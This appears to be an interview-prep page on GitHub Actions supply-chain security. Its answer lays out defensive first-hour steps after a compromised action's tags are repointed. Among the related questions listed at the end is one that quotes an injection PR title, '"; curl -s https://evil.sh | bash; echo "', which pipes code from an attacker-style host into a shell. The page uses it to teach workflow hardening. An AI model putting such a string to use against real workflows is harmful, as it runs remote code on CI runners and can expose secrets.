A popular action you use was compromised and its tags repointed. What do you do in the first hour?
AdvancedScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Supply-chain incident; assume secrets in affected runs leaked.
What I'd do →
- Find usage org-wide: code search
org:devopsshack "tj-actions/changed-files"and list runs in the exposure window. - Block the action at org level (allowed actions policy) to stop new runs.
- Rotate every secret available to affected workflows; check logs of public repos for dumped secrets and delete those runs.
- Replace with a pinned safe SHA or an alternative.
- Enforce SHA pinning org-wide afterwards.
Why → Blocking stops the bleed, rotation removes the impact, pinning prevents recurrence.
Interview tip → Speak in time order: contain, rotate, eradicate, prevent.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?BeginnerYou find `pull_request_target` used to build and test PRs in a private repo. Is that acceptable?Advanced